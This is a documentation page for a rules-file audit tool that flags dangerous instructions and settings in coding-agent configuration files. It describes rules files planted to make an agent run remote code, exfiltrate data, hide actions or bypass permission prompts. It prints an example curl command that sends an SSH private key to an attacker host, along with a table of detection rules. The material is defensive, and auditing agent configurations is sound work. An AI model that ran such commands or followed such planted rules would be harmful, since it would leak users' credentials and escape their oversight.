The mistake
Rules files and agent settings committed to a repo that tell the agent to download and run remote code, send data to a URL, read credential files, hide actions from the user, skip tests or checks; or settings that turn approvals off ("bypassPermissions"), auto-approve broad commands (Bash(curl:*)), enable every project MCP server, or redirect ANTHROPIC_BASE_URL.
Why it is dangerous
curl ... | sh makes the agent execute whatever that server returns, with your permissions and your shell's secrets. Agents run with your credentials and can read your files, so one line is enough for exfiltration. Legitimate project rules never ask the agent to hide what it does. A committed setting that turns approvals off applies to everyone who opens the repo, and Bash(curl:*) also approves curl -d @~/.ssh/id_rsa https://attacker.example.
How to fix it
Delete the instruction or setting and review where it came from. In Claude Code settings, use "defaultMode": "default" or "acceptEdits" instead of "bypassPermissions"; to forbid it for a team, set "permissions": { "disableBypassPermissionsMode": "disable" } in managed settings. Keep allow-lists to specific, harmless commands, and make rules files reviewed code (CODEOWNERS plus a CI check).
What this checker looks for
This page runs rules-file-audit, which reads
.cursorrules, .cursor/rules, CLAUDE.md, AGENTS.md, .github/copilot-instructions.md, .claude/settings.json and similar. The rules most relevant to this page:
| Rule | What it finds |
|---|---|
RFA020 | Instruction to download and run remote code |
RFA021 | Instruction to send data to an external destination |
RFA022 | Instruction to read credentials or secret files |
RFA023 | Instruction to hide actions from the user |
RFA024 | Prompt-injection override phrase |
RFA030 | Instruction to skip tests or disable safety checks |
RFA040 | Agent configured to skip permission prompts |
RFA041 | Broad or dangerous command auto-approved |
RFA042 | All project MCP servers enabled automatically |
RFA043 | Model API traffic redirected to another host |
Every finding has a rule id, a severity, file:line, the offending line (secrets masked),
why it matters and how to fix it. Run rules-file-audit rules for the full list.